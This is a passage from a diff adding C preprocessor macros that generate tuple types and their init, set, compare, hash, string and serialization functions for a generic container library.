+// Test if all third argument of all arguments is an oplist
+#define M_TUPL3_IF_ALL_OPLIST(...)                                            \
+  M_IF(M_REDUCE(M_TUPL3_IS_OPLIST_P, M_AND, __VA_ARGS__))
+
+// Test if the third argument of (name, type, oplist) is an oplist
+#define M_TUPL3_IS_OPLIST_P(a)                                                \
+  M_OPLIST_P(M_RET_ARG3 a)
+
+/* Validate the oplist before going further */
+#define M_TUPL3_DEF2_P2(name, name_t, ...)                                    \
+  M_TUPL3_IF_ALL_OPLIST(__VA_ARGS__)(M_TUPL3_DEF2_P3, M_TUPL3_DEF2_FAILURE)(name, name_t, __VA_ARGS__)
+
+/* Stop processing with a compilation failure */
+#define M_TUPL3_DEF2_FAILURE(name, name_t, ...)                               \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(TUPLE_DEF2): at least one of the given argument is not a valid oplist: " #__VA_ARGS__)
+
+/* Define the tuple */
+#define M_TUPL3_DEF2_P3(name, name_t, ...)                                    \
+  M_TUPL3_DEFINE_TYPE(name, name_t, __VA_ARGS__)                              \
+  M_TUPL3_DEFINE_ENUM(name, __VA_ARGS__)                                      \
+  M_TUPL3_CONTROL_ALL_OPLIST(name, __VA_ARGS__)                               \
+  M_TUPL3_IF_ALL(INIT, __VA_ARGS__)(M_TUPL3_DEFINE_INIT(name, __VA_ARGS__),)  \
+  M_TUPL3_DEFINE_INIT_SET(name, __VA_ARGS__)                                  \
+  M_TUPL3_DEFINE_INIT_SET2(name, __VA_ARGS__)                                 \
+  M_TUPL3_DEFINE_SET(name, __VA_ARGS__)                                       \
+  M_TUPL3_DEFINE_SET2(name, __VA_ARGS__)                                      \
+  M_TUPL3_DEFINE_CLEAR(name, __VA_ARGS__)                                     \
+  M_TUPL3_DEFINE_GETTER_FIELD(name, __VA_ARGS__)                              \
+  M_TUPL3_DEFINE_SETTER_FIELD(name, __VA_ARGS__)                              \
+  M_TUPL3_DEFINE_EMPLACE_FIELD(name, __VA_ARGS__)                             \
+  M_TUPL3_IF_ONE(CMP, __VA_ARGS__)(M_TUPL3_DEFINE_CMP(name, __VA_ARGS__),)    \
+  M_TUPL3_IF_ALL(CMP, __VA_ARGS__)(M_TUPL3_DEFINE_CMP_ORDER(name, __VA_ARGS__),) \
+  M_TUPL3_DEFINE_CMP_FIELD(name, __VA_ARGS__)                                 \
+  M_TUPL3_IF_ONE(HASH, __VA_ARGS__)(M_TUPL3_DEFINE_HASH(name, __VA_ARGS__),)  \
+  M_TUPL3_IF_ONE(EQUAL, __VA_ARGS__)(M_TUPL3_DEFINE_EQUAL(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(GET_STR, __VA_ARGS__)(M_TUPL3_DEFINE_GET_STR(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(OUT_STR, __VA_ARGS__)(M_TUPL3_DEFINE_OUT_STR(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(IN_STR, __VA_ARGS__)(M_TUPL3_DEFINE_IN_STR(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(PARSE_STR, __VA_ARGS__)(M_TUPL3_DEFINE_PARSE_STR(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(OUT_SERIAL, __VA_ARGS__)(M_TUPL3_DEFINE_OUT_SERIAL(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(IN_SERIAL, __VA_ARGS__)(M_TUPL3_DEFINE_IN_SERIAL(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(INIT_MOVE, __VA_ARGS__)(M_TUPL3_DEFINE_INIT_MOVE(name, __VA_ARGS__),) \
+  M_TUPL3_IF_ALL(MOVE, __VA_ARGS__)(M_TUPL3_DEFINE_MOVE(name, __VA_ARGS__),)  \
+  M_TUPL3_IF_ALL(SWAP, __VA_ARGS__)(M_TUPL3_DEFINE_SWAP(name, __VA_ARGS__),)  \
+  M_TUPL3_IF_ALL(RESET, __VA_ARGS__)(M_TUPL3_DEFINE_RESET(name, __VA_ARGS__),)
+
+/* Provide order for _cmp_order */
+#define M_TUPL3_ORDER_CONVERT(name, x) M_F(name, M_C(M_TUPL3_ORDER_CONVERT_, x))
+#define M_TUPL3_ORDER_CONVERT_ASC(x)   M_C3(_,x,_value)
+#define M_TUPL3_ORDER_CONVERT_DSC(x)   M_C3(_,x,_value)*-1
+
+/* Get the field name, the type, the oplist or the methods
+   based on the tuple (field, type, oplist) */
+#define M_TUPL3_GET_FIELD(f,t,o)     f
+#define M_TUPL3_GET_TYPE(f,t,o)      t
+#define M_TUPL3_GET_OPLIST(f,t,o)    o
+#define M_TUPL3_GET_INIT(f,t,o)      M_GET_INIT o
+#define M_TUPL3_GET_INIT_SET(f,t,o)  M_GET_INIT_SET o
+#define M_TUPL3_GET_INIT_MOVE(f,t,o) M_GET_INIT_MOVE o
+#define M_TUPL3_GET_MOVE(f,t,o)      M_GET_MOVE o
+#define M_TUPL3_GET_SET(f,t,o)       M_GET_SET o
+#define M_TUPL3_GET_CLEAR(f,t,o)     M_GET_CLEAR o
+#define M_TUPL3_GET_CMP(f,t,o)       M_GET_CMP o
+#define M_TUPL3_GET_HASH(f,t,o)      M_GET_HASH o
+#define M_TUPL3_GET_EQUAL(f,t,o)     M_GET_EQUAL o
+#define M_TUPL3_GET_STR(f,t,o)       M_GET_GET_STR o
+#define M_TUPL3_GET_OUT_STR(f,t,o)   M_GET_OUT_STR o
+#define M_TUPL3_GET_IN_STR(f,t,o)    M_GET_IN_STR o
+#define M_TUPL3_GET_OUT_SERIAL(f,t,o) M_GET_OUT_SERIAL o
+#define M_TUPL3_GET_IN_SERIAL(f,t,o) M_GET_IN_SERIAL o
+#define M_TUPL3_GET_PARSE_STR(f,t,o) M_GET_PARSE_STR o
+#define M_TUPL3_GET_SWAP(f,t,o)      M_GET_SWAP o
+#define M_TUPL3_GET_RESET(f,t,o)     M_GET_RESET o
+
+/* Call the method associated to the given operator for the given parameter
+  of the tuple t=(name, type, oplist) */
+#define M_TUPL3_CALL_INIT(t, ...)       M_APPLY_API(M_TUPL3_GET_INIT t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_INIT_SET(t, ...)   M_APPLY_API(M_TUPL3_GET_INIT_SET t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_INIT_MOVE(t, ...)  M_APPLY_API(M_TUPL3_GET_INIT_MOVE t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_MOVE(t, ...)       M_APPLY_API(M_TUPL3_GET_MOVE t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_SET(t, ...)        M_APPLY_API(M_TUPL3_GET_SET t,   M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_CLEAR(t, ...)      M_APPLY_API(M_TUPL3_GET_CLEAR t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_CMP(t, ...)        M_APPLY_API(M_TUPL3_GET_CMP t,   M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_HASH(t, ...)       M_APPLY_API(M_TUPL3_GET_HASH t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_EQUAL(t, ...)      M_APPLY_API(M_TUPL3_GET_EQUAL t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_GET_STR(t, ...)    M_APPLY_API(M_TUPL3_GET_STR t,   M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_OUT_STR(t, ...)    M_APPLY_API(M_TUPL3_GET_OUT_STR t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_IN_STR(t, ...)     M_APPLY_API(M_TUPL3_GET_IN_STR t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_PARSE_STR(t, ...)  M_APPLY_API(M_TUPL3_GET_PARSE_STR t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_OUT_SERIAL(t, ...) M_APPLY_API(M_TUPL3_GET_OUT_SERIAL t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_IN_SERIAL(t, ...)  M_APPLY_API(M_TUPL3_GET_IN_SERIAL t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_SWAP(t, ...)       M_APPLY_API(M_TUPL3_GET_SWAP t,  M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+#define M_TUPL3_CALL_RESET(t, ...)      M_APPLY_API(M_TUPL3_GET_RESET t, M_TUPL3_GET_OPLIST t, __VA_ARGS__)
+
+
+/* Define the type of a tuple */
+#define M_TUPL3_DEFINE_TYPE(name, name_t, ...)                                \
+  typedef struct M_F(name, _s) {                                              \
+    M_MAP(M_TUPL3_DEFINE_RECUR_TYPE_ELE , __VA_ARGS__)                        \
+  } name_t[1];                                                                \
+                                                                              \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  /* Define internal type for oplist */                                       \
+  typedef name_t M_F(name, _ct);                                              \
+  /* Save constant as the number of arguments (internal) */                   \
+  typedef enum {                                                              \
+    M_C3(m_tupl3_, name, _num_args) = M_NARGS(__VA_ARGS__)                    \
+  } M_C3(m_tupl3_, name, _num_args_ct);                                       \
+  /* Save alias for the types of arguments */                                 \
+  M_MAP3(M_TUPL3_DEFINE_TYPE_ELE, name, __VA_ARGS__)
+
+#define M_TUPL3_DEFINE_TYPE_ELE(name, num, a)                                 \
+  typedef M_TUPL3_GET_TYPE a M_C4(name, _type_, num, _ct);
+
+#define M_TUPL3_DEFINE_RECUR_TYPE_ELE(a)                                      \
+  M_TUPL3_GET_TYPE a M_TUPL3_GET_FIELD a ;
+
+/* Define the basic enumerate, identifying a parameter */
+#define M_TUPL3_DEFINE_ENUM(name, ...)                                        \
+  typedef enum {                                                              \
+    M_F(name, _first_one_val),                                                \
+    M_MAP2_C(M_TUPL3_DEFINE_ENUM_ELE , name, __VA_ARGS__)                     \
+  } M_F(name,_field_e);
+
+#define M_TUPL3_DEFINE_ENUM_ELE(name, a)                                      \
+  M_C4(name, _, M_TUPL3_GET_FIELD a, _value)
+
+/* Control that all given oplists of all parameters are really oplists */
+#define M_TUPL3_CONTROL_ALL_OPLIST(name, ...)                                 \
+  M_MAP2(M_TUPL3_CONTROL_OPLIST, name, __VA_ARGS__)
+
+#define M_TUPL3_CONTROL_OPLIST(name, a)                                       \
+  M_CHECK_COMPATIBLE_OPLIST(name, M_TUPL3_GET_FIELD a,                        \
+                            M_TUPL3_GET_TYPE a, M_TUPL3_GET_OPLIST a)
+
+/* Define the INIT method calling the INIT method for all params */
+#define M_TUPL3_DEFINE_INIT(name, ...)                                        \
+  M_P(void, name, _init, M_F(name,_ct) my) {                                  \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_INIT_FUNC , __VA_ARGS__) {}                          \
+  }
+
+#define M_TUPL3_DEFINE_INIT_FUNC(a)                                           \
+  M_CHAIN_OBJ(M_TUPL3_GET_FIELD a, M_TUPL3_GET_OPLIST a, my -> M_TUPL3_GET_FIELD a)
+
+/* Define the INIT_SET method calling the INIT_SET method for all params */
+#define M_TUPL3_DEFINE_INIT_SET(name, ...)                                    \
+  M_P(void, name, _init_set, M_F(name,_ct) my , M_F(name,_ct) const org) {    \
+    M_TUPL3_CONTRACT(org);                                                    \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_INIT_SET_FUNC , __VA_ARGS__) {}                      \
+  }
+#define M_TUPL3_DEFINE_INIT_SET_FUNC(a)                                       \
+  M_CHAIN_OBJ(M_TUPL3_GET_FIELD a, M_TUPL3_GET_OPLIST a,                      \
+              my -> M_TUPL3_GET_FIELD a , org -> M_TUPL3_GET_FIELD a )
+
+/* Define the INIT_WITH method calling the INIT_SET method for all params. */
+#define M_TUPL3_DEFINE_INIT_SET2(name, ...)                                   \
+  M_P(void, name, _init_emplace, M_F(name,_ct) my M_MAP(M_TUPL3_DEFINE_SET2_PROTO, __VA_ARGS__) ) { \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_INIT_SET2_FUNC , __VA_ARGS__) {}                     \
+  }
+
+#define M_TUPL3_DEFINE_INIT_SET2_FUNC(a)                                      \
+  M_CHAIN_OBJ(M_TUPL3_GET_FIELD a, M_TUPL3_GET_OPLIST a,                      \
+              my -> M_TUPL3_GET_FIELD a , M_TUPL3_GET_FIELD a )
+
+
+/* Define the SET method calling the SET method for all params. */
+#define M_TUPL3_DEFINE_SET(name, ...)                                         \
+  M_P(void, name, _set, M_F(name,_ct) my, M_F(name,_ct) const org) {          \
+    M_TUPL3_CONTRACT(my);                                                     \
+    M_TUPL3_CONTRACT(org);                                                    \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_SET_FUNC , __VA_ARGS__)                              \
+  }
+
+#define M_TUPL3_DEFINE_SET_FUNC(a)                                            \
+  M_TUPL3_CALL_SET(a, my -> M_TUPL3_GET_FIELD a , org -> M_TUPL3_GET_FIELD a );
+
+
+/* Define the SET_WITH method calling the SET method for all params. */
+#define M_TUPL3_DEFINE_SET2(name, ...)                                        \
+  M_P(void, name, _emplace, M_F(name,_ct) my M_MAP(M_TUPL3_DEFINE_SET2_PROTO, __VA_ARGS__) ) { \
+    M_TUPL3_CONTRACT(my);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_SET2_FUNC , __VA_ARGS__)                             \
+  }
+#define M_TUPL3_DEFINE_SET2_PROTO(a)                                          \
+  , M_TUPL3_GET_TYPE a const M_TUPL3_GET_FIELD a
+
+#define M_TUPL3_DEFINE_SET2_FUNC(a)                                           \
+  M_TUPL3_CALL_SET(a, my -> M_TUPL3_GET_FIELD a , M_TUPL3_GET_FIELD a );
+
+
+/* Define the CLEAR method calling the CLEAR method for all params. */
+#define M_TUPL3_DEFINE_CLEAR(name, ...)                                       \
+  M_P(void, name, _clear, M_F(name,_ct) my) {                                 \
+    M_TUPL3_CONTRACT(my);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_CLEAR_FUNC , __VA_ARGS__)                            \
+  }
+
+#define M_TUPL3_DEFINE_CLEAR_FUNC(a)                                          \
+  M_TUPL3_CALL_CLEAR(a, my -> M_TUPL3_GET_FIELD a );
+
+
+/* Define the GET_AT_field & CGET_AT methods for all params. */
+#define M_TUPL3_DEFINE_GETTER_FIELD(name, ...)                                \
+  M_MAP3(M_TUPL3_DEFINE_GETTER_FIELD_PROTO, name, __VA_ARGS__)
+
+#define M_TUPL3_DEFINE_GETTER_FIELD_PROTO(name, num, a)                       \
+  M_INLINE M_TUPL3_GET_TYPE a * M_C3(name, _get_at_, M_TUPL3_GET_FIELD a)     \
+       (M_F(name,_ct) my) {                                                   \
+    M_TUPL3_CONTRACT(my);                                                     \
+    return &(my->M_TUPL3_GET_FIELD a);                                        \
+  }                                                                           \
+  M_INLINE M_TUPL3_GET_TYPE a const * M_C3(name, _cget_at_, M_TUPL3_GET_FIELD a) \
+    (M_F(name,_ct) const my) {                                                \
+    M_TUPL3_CONTRACT(my);                                                     \
+    return &(my->M_TUPL3_GET_FIELD a);                                        \
+  }                                                                           \
+  /* Same but uses numerical index for accessing the field (internal) */      \
+  M_INLINE M_TUPL3_GET_TYPE a * M_C4(m_tupl3_, name, _get_at_, num)           \
+       (M_F(name,_ct) my) {                                                   \
+    return &(my->M_TUPL3_GET_FIELD a);                                        \
+  }                                                                           \
+
+
+/* Define the SET_field methods for all params. */
+#define M_TUPL3_DEFINE_SETTER_FIELD(name, ...)                                \
+  M_MAP2(M_TUPL3_DEFINE_SETTER_FIELD_PROTO, name, __VA_ARGS__)
+
+#define M_TUPL3_DEFINE_SETTER_FIELD_PROTO(name, a)                            \
+  M_INLINE void M_C3(name, _set_, M_TUPL3_GET_FIELD a)                        \
+       (M_P_EXPAND M_F(name,_ct) my, M_TUPL3_GET_TYPE a const M_TUPL3_GET_FIELD a) { \
+    M_TUPL3_CONTRACT(my);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_TUPL3_CALL_SET(a, my ->M_TUPL3_GET_FIELD a, M_TUPL3_GET_FIELD a);       \
+  }
+
+
+/* Define the EMPLACE_field methods for all params. */
+#define M_TUPL3_DEFINE_EMPLACE_FIELD(name, ...)                               \
+  M_REDUCE3(M_TUPL3_DEFINE_EMPLACE_FIELD_PROTO, M_TUPL3_DEFINE_EMPLACE_G, name, __VA_ARGS__)
+
+#define M_TUPL3_DEFINE_EMPLACE_G(a, b) a b
+
+#define M_TUPL3_DEFINE_EMPLACE_FIELD_PROTO(name, id, a)                       \
+  M_EMPLACE_QUEUE_DEF(M_TUPL3_GET_FIELD a, M_F(name, _ct), M_C3(name, _emplace_, M_TUPL3_GET_FIELD a), M_TUPL3_GET_OPLIST a, M_TUPL3_EMPLACE_DEF)
+
+#define M_TUPL3_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_INLINE void                                                               \
+  function_name(M_P_EXPAND name_t v                                           \
+                M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) )                \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    M_CALL_CLEAR(oplist, v->name);                                            \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, v->name, exp_emplace_type);     \
+  }
+
+
+/* Define the CMP method by calling CMP methods for all params. */
+#define M_TUPL3_DEFINE_CMP(name, ...)                                         \
+  M_INLINE int M_F(name, _cmp)(M_F(name,_ct) const e1 ,                       \
+                                    M_F(name,_ct) const e2) {                 \
+    int i;                                                                    \
+    M_TUPL3_CONTRACT(e1);                                                     \
+    M_TUPL3_CONTRACT(e2);                                                     \
+    M_MAP(M_TUPL3_DEFINE_CMP_FUNC_P0, __VA_ARGS__)                            \
+    return 0;                                                                 \
+  }
+
+#define M_TUPL3_DEFINE_CMP_FUNC_P0(a)                                         \
+  M_IF(M_TUPL3_TEST_METHOD_P(CMP, a))(M_TUPL3_DEFINE_CMP_FUNC_P1, M_EAT)(a)
+#define M_TUPL3_DEFINE_CMP_FUNC_P1(a)                                         \
+  i = M_TUPL3_CALL_CMP(a, e1 -> M_TUPL3_GET_FIELD a , e2 -> M_TUPL3_GET_FIELD a ); \
+  if (i != 0) return i;
+
+/* Define the CMP_ORDER method by calling CMP methods for all params
+   In the right order 
+   FIXME: _cmp_order is not supported by algorithm yet.
+   FIXME: All oplists shall define the CMP operator or at least one?
+*/
+#define M_TUPL3_DEFINE_CMP_ORDER(name, ...)                                   \
+  M_INLINE int M_F(name, _cmp_order)(M_F(name,_ct) const e1 ,                 \
+                                          M_F(name,_ct) const e2,             \
+                                          const int order[]) {                \
+    int i, r;                                                                 \
+    M_TUPL3_CONTRACT(e1);                                                     \
+    M_TUPL3_CONTRACT(e2);                                                     \
+    while (true) {                                                            \
+      i=*order++;                                                             \
+      switch (i) {                                                            \
+        case 0: return 0;                                                     \
+        M_MAP2(M_TUPL3_DEFINE_CMP_ORDER_FUNC , name, __VA_ARGS__)             \
+      default: M_ASSUME(0);                                                   \
+      }                                                                       \
+    }                                                                         \
+  }
+
+#define M_TUPL3_DEFINE_CMP_ORDER_FUNC(name, a)                                \
+  case M_C4(name, _, M_TUPL3_GET_FIELD a, _value):                            \
+  case -M_C4(name, _, M_TUPL3_GET_FIELD a, _value):                           \
+       r = M_TUPL3_CALL_CMP(a, e1 -> M_TUPL3_GET_FIELD a , e2 -> M_TUPL3_GET_FIELD a ); \
+       if (r != 0) return i < 0 ? -r : r;                                     \
+       break;
+
+
+/* Define a CMP_field method for all given params that export a CMP method */
+#define M_TUPL3_DEFINE_CMP_FIELD(name, ...)                                   \
+  M_MAP2(M_TUPL3_MAP_CMP_FIELD, name, __VA_ARGS__)
+
+#define M_TUPL3_MAP_CMP_FIELD(name, a)                                        \
+  M_IF_METHOD(CMP, M_TUPL3_GET_OPLIST a)(                                     \
+    M_TUPL3_DEFINE_CMP_FIELD_FUNC(name, M_TUPL3_GET_FIELD a, M_TUPL3_GET_CMP a, M_TUPL3_GET_OPLIST a), \
+  )
+
+#define M_TUPL3_DEFINE_CMP_FIELD_FUNC(name, field, func_cmp, oplist)          \
+  M_INLINE int M_C3(name, _cmp_, field)(M_F(name,_ct) const e1 ,              \
+                                             M_F(name,_ct) const e2) {        \
+    M_TUPL3_CONTRACT(e1);                                                     \
+    M_TUPL3_CONTRACT(e2);                                                     \
+    return M_APPLY_API(func_cmp, oplist, e1 -> field , e2 -> field );         \
+  }
+
+
+/* Define a EQUAL method by calling the EQUAL methods  for all params */
+#define M_TUPL3_DEFINE_EQUAL(name, ...)                                       \
+  M_INLINE bool M_F(name, _equal_p)(M_F(name,_ct) const e1 ,                  \
+                                         M_F(name,_ct) const e2) {            \
+    bool b;                                                                   \
+    M_TUPL3_CONTRACT(e1);                                                     \
+    M_TUPL3_CONTRACT(e2);                                                     \
+    M_MAP(M_TUPL3_DEFINE_EQUAL_FUNC_P0, __VA_ARGS__)                          \
+    return true;                                                              \
+  }
+
+#define M_TUPL3_DEFINE_EQUAL_FUNC_P0(a)                                       \
+  M_IF(M_TUPL3_TEST_METHOD_P(EQUAL, a))(M_TUPL3_DEFINE_EQUAL_FUNC_P1, M_EAT)(a)
+#define M_TUPL3_DEFINE_EQUAL_FUNC_P1(a)                                       \
+  b = M_TUPL3_CALL_EQUAL(a,  e1 -> M_TUPL3_GET_FIELD a , e2 -> M_TUPL3_GET_FIELD a ); \
+  if (!b) return false;
+
+
+/* Define a HASH method by calling the HASH methods  for all params */
+#define M_TUPL3_DEFINE_HASH(name, ...)                                        \
+  M_INLINE size_t M_F(name, _hash)(M_F(name,_ct) const e1) {                  \
+    M_TUPL3_CONTRACT(e1);                                                     \
+    M_HASH_DECL(hash);                                                        \
+    M_MAP(M_TUPL3_DEFINE_HASH_FUNC_P0, __VA_ARGS__)                           \
+    return M_HASH_FINAL (hash);                                               \
+  }
+
+#define M_TUPL3_DEFINE_HASH_FUNC_P0(a)                                        \
+  M_IF(M_TUPL3_TEST_METHOD_P(HASH, a))(M_TUPL3_DEFINE_HASH_FUNC_P1, M_EAT)(a)
+#define M_TUPL3_DEFINE_HASH_FUNC_P1(a)                                        \
+  M_HASH_UP(hash, M_TUPL3_CALL_HASH(a, e1 -> M_TUPL3_GET_FIELD a) );
+
+
+/* Define a GET_STR method by calling the GET_STR methods for all params */
+#define M_TUPL3_DEFINE_GET_STR(name, ...)                                     \
+  M_P(void, name, _get_str, m_string_t str, M_F(name,_ct) const el, bool append) \
+  {                                                                           \
+    bool comma = false;                                                       \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_ASSERT (str != NULL);                                                   \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "(");           \
+    M_MAP(M_TUPL3_DEFINE_GET_STR_FUNC , __VA_ARGS__)                          \
+    m_string_push_back M_R(str, ')');                                         \
+  }
+
+#define M_TUPL3_DEFINE_GET_STR_FUNC(a)                                        \
+  if (comma) m_string_push_back M_R(str, ',');                                \
+  comma = true;                                                               \
+  M_TUPL3_CALL_GET_STR(a, str, el -> M_TUPL3_GET_FIELD a, true);              \
+
+
+/* Define a OUT_STR method by calling the OUT_STR methods for all params */
+#define M_TUPL3_DEFINE_OUT_STR(name, ...)                                     \
+  M_INLINE void M_F(name, _out_str)(FILE *f, M_F(name,_ct) const el)          \
+  {                                                                           \
+    bool comma = false;                                                       \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_ASSERT (f != NULL);                                                     \
+    fputc('(', f);                                                            \
+    M_MAP(M_TUPL3_DEFINE_OUT_STR_FUNC , __VA_ARGS__)                          \
+    fputc (')', f);                                                           \
+  }
+
+#define M_TUPL3_DEFINE_OUT_STR_FUNC(a)                                        \
+  if (comma) fputc (',', f);                                                  \
+  comma = true;                                                               \
+  M_TUPL3_CALL_OUT_STR(a, f, el -> M_TUPL3_GET_FIELD a);                      \
+
+
+/* Define a IN_STR method by calling the IN_STR methods for all params */
+#define M_TUPL3_DEFINE_IN_STR(name, ...)                                      \
+  M_P(bool, name, _in_str, M_F(name,_ct) el, FILE *f)                         \
+  {                                                                           \
+    bool comma = false;                                                       \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (f != NULL);                                                     \
+    int c = fgetc(f);                                                         \
+    if (c != '(') return false;                                               \
+    M_MAP(M_TUPL3_DEFINE_IN_STR_FUNC , __VA_ARGS__)                           \
+    c = fgetc(f);                                                             \
+    return (c == ')');                                                        \
+  }
+
+#define M_TUPL3_DEFINE_IN_STR_FUNC(a)                                         \
+  if (comma) {                                                                \
+    c = fgetc (f);                                                            \
+    if (c != ',' || c == EOF) return false;                                   \
+  }                                                                           \
+  comma = true;                                                               \
+  if (M_TUPL3_CALL_IN_STR(a, el -> M_TUPL3_GET_FIELD a, f) == false)          \
+    return false ;                                                            \
+
+
+/* Define a PARSE_STR method by calling the PARSE_STR methods for all params */
+#define M_TUPL3_DEFINE_PARSE_STR(name, ...)                                   \
+  M_P(bool, name, _parse_str, M_F(name,_ct) el, const char str[], const char **endptr) \
+  {                                                                           \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_ASSERT (str != NULL);                                                   \
+    M_UNUSED_CONTEXT();                                                       \
+    bool success = false;                                                     \
+    bool comma = false;                                                       \
+    int c = *str++;                                                           \
+    if (c != '(') goto exit;                                                  \
+    M_MAP(M_TUPL3_DEFINE_PARSE_STR_FUNC , __VA_ARGS__)                        \
+    c = *str++;                                                               \
+    success = (c == ')');                                                     \
+  exit:                                                                       \
+    if (endptr) *endptr = str;                                                \
+    return success;                                                           \
+  }
+
+#define M_TUPL3_DEFINE_PARSE_STR_FUNC(a)                                      \
+  if (comma) {                                                                \
+    c = *str++;                                                               \
+    if (c != ',' || c == 0) goto exit;                                        \
+  }                                                                           \
+  comma = true;                                                               \
+  if (M_TUPL3_CALL_PARSE_STR(a, el -> M_TUPL3_GET_FIELD a, str, &str) == false) \
+    goto exit ;                                                               \
+
+
+/* Return the parameter name as a C string */
+#define M_TUPL3_STRINGIFY_NAME(a)                                             \
+  M_AS_STR(M_TUPL3_GET_FIELD a)
+
+
+/* Define a OUT_SERIAL method by calling the OUT_SERIAL methods for all params */
+#define M_TUPL3_DEFINE_OUT_SERIAL(name, ...)                                  \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, M_F(name,_ct) const el) \
+  {                                                                           \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    const int field_max = M_NARGS(__VA_ARGS__);                               \
+    /* Define a constant static table of all fields names */                  \
+    static const char *const field_name[] =                                   \
+      { M_REDUCE(M_TUPL3_STRINGIFY_NAME, M_ID, __VA_ARGS__) };                \
+    int index = 0;                                                            \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    ret = f->m_interface->write_tuple_start M_R(local, f);                    \
+    M_MAP(M_TUPL3_DEFINE_OUT_SERIAL_FUNC , __VA_ARGS__)                       \
+    M_ASSERT( index == field_max);                                            \
+    ret |= f->m_interface->write_tuple_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }
+
+#define M_TUPL3_DEFINE_OUT_SERIAL_FUNC(a)                                     \
+  f->m_interface->write_tuple_id M_R(local, f, field_name, field_max, index); \
+  M_TUPL3_CALL_OUT_SERIAL(a, f, el -> M_TUPL3_GET_FIELD a);                   \
+  index++;                                                                    \
+
+
+/* Define a IN_SERIAL method by calling the IN_SERIAL methods for all params */
+#define M_TUPL3_DEFINE_IN_SERIAL(name, ...)                                   \
+  M_P(m_serial_return_code_t, name, _in_serial, M_F(name,_ct) el, m_serial_read_t f) \
+  {                                                                           \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    int index = -1;                                                           \
+    const int field_max = M_NARGS(__VA_ARGS__);                               \
+    static const char *const field_name[] =                                   \
+      { M_REDUCE(M_TUPL3_STRINGIFY_NAME, M_ID, __VA_ARGS__) };                \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    ret = f->m_interface->read_tuple_start(local, f);                         \
+    while (ret == M_SERIAL_OK_CONTINUE) {                                     \
+      ret = f->m_interface->read_tuple_id(local, f, field_name, field_max, &index); \
+      if (ret == M_SERIAL_OK_CONTINUE) {                                      \
+        M_ASSERT (index >= 0 && index < field_max);                           \
+        switch (1+index) {                                                    \
+          M_MAP2(M_TUPL3_DEFINE_IN_SERIAL_FUNC , name, __VA_ARGS__)           \
+        default: M_ASSUME(0);                                                 \
+        }                                                                     \
+        ret = (ret == M_SERIAL_OK_DONE) ? M_SERIAL_OK_CONTINUE : M_SERIAL_FAIL; \
+      }                                                                       \
+    }                                                                         \
+    return ret;                                                               \
+  }
+
+#define M_TUPL3_DEFINE_IN_SERIAL_FUNC(name, a)                                \
+  case M_C4(name, _, M_TUPL3_GET_FIELD a, _value):                            \
+  ret = M_TUPL3_CALL_IN_SERIAL(a, el -> M_TUPL3_GET_FIELD a, f);              \
+  break;                                                                      \
+
+
+/* Define a INIT_MOVE method by calling the INIT_MOVE methods for all params
+   INIT_MOVE cannot fail and cannot throw any exception */
